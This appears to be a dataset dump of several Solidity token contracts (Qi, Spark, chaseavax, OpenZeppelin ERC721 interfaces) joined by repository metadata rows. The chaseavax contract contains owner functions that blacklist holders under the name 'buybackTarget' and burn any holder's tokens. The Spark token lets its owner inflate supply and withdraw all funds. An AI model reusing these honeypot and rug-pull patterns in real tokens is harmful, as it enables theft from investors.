if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _TAX_FEE;
}
function _getMaxTxAmount() private view returns(uint256) {
return _MAX_TX_SIZE;
}
}
| 258,099 | 10,575 |
a2f8905029fec2f1994b6324b4c1b6e7fd7f1e40441691a8f1fa242fbd45407d
| 14,300 |
.sol
|
Solidity
| false |
492670100
|
Messi-Q/DeFi-Protocol
|
ce2661ef6bbb7810544bb619b6687e7228df8491
|
Lending and Borrowing/DeFi Sandwich Attack/Benqi/Governance/Qi.sol
| 2,865 | 11,004 |
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract Qi {
/// @notice EIP-20 token name for this token
string public constant name = "BENQI";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "QI";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 7_200_000_000e18; // 7 billion 200 million QI
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Qi::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Qi::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Qi::permit: invalid signature");
require(signatory == owner, "Qi::permit: unauthorized");
require(now <= deadline, "Qi::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Qi::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Qi::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Qi::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Qi::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Qi::delegateBySig: invalid nonce");
require(now <= expiry, "Qi::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Qi::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Qi::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Qi::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Qi::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Qi::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Qi::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Qi::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Qi::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 66,935 | 10,576 |
35557ab7902f3c2ea83e08c9fea8be177e672086da7110b20bb78ca12b8f9af5
| 10,867 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TV/TV2wAhtwtcxdsjWadHK3W8ugRCN2PcdS3C_Spark.sol
| 2,749 | 10,233 |
//SourceUnit: FXRP.sol
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Spark is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "Spark token";
string public constant symbol = "FXRP";
uint public constant decimals = 18;
uint public deadline = now + 0 * 1 seconds; // Now
uint public round2 = now + 50 * 1 days;
uint public round1 = now + 10 * 1 days;
uint256 public totalSupply = 10000000000e18;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 100000000 ; // 100 M trx
uint256 public tokensPerEth =0.00000000000000001e18; // Last updated price by admin
uint public target0drop = 1000e18; // 0.001 %
uint public progress0drop = 0;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 companyFund = 1000000000018; // 0
owner = msg.sender;
distr(owner, companyFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1e18 / 10; // Send 10000000 trx or more and get 10% more FXRP of round 1
uint256 bonusCond2 = 1e18 / 2; // Send 10000000 trx or more and get 2% more FXRP of round 2
uint256 bonusCond3 = 1e18 ;
tokens = tokensPerEth.mul(msg.value) / 100 ;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 2 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 0 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 2 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 0.000000000000000001e18;
if (Claimed[investor] == false && progress0drop <= target0drop) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require(msg.value >= requestMinimum);
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if(now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require(msg.value >= requestMinimum);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 304,731 | 10,577 |
40cb89a65c4a51160160e19c588a0940f3a5f4a54554745aba641bb8553e7fd5
| 16,697 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/2f/2f456fca3570de8db962a70f6c43bcab1cb04d03_chaseavax.sol
| 3,939 | 15,654 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract chaseavax is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBuyback(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (sys.amountToken,
sys.lockUntil);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function buybackTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unbuybackTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 76,841 | 10,578 |
5fd12ff6a612255dc617f78165333d3d29476230c673267677d736a6e497f1f1
| 35,637 |
.sol
|
Solidity
| false |
635617544
|
0xblackskull/OpenZeppelin-Flattened
|
bef0a34f7a2402d302f91f7bccf2d2e153ebea6b
|
ozopenzeppelin-contracts/mocks/ERC721BurnableMock_flat.sol
| 4,351 | 17,511 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/extensions/ERC721Burnable.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes calldata data) external;
function safeTransferFrom(address from,
address to,
uint256 tokenId) external;
function transferFrom(address from,
address to,
uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool _approved) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)
interface IERC721Receiver {
function onERC721Received(address operator,
address from,
uint256 tokenId,
bytes calldata data) external returns (bytes4);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library Address {
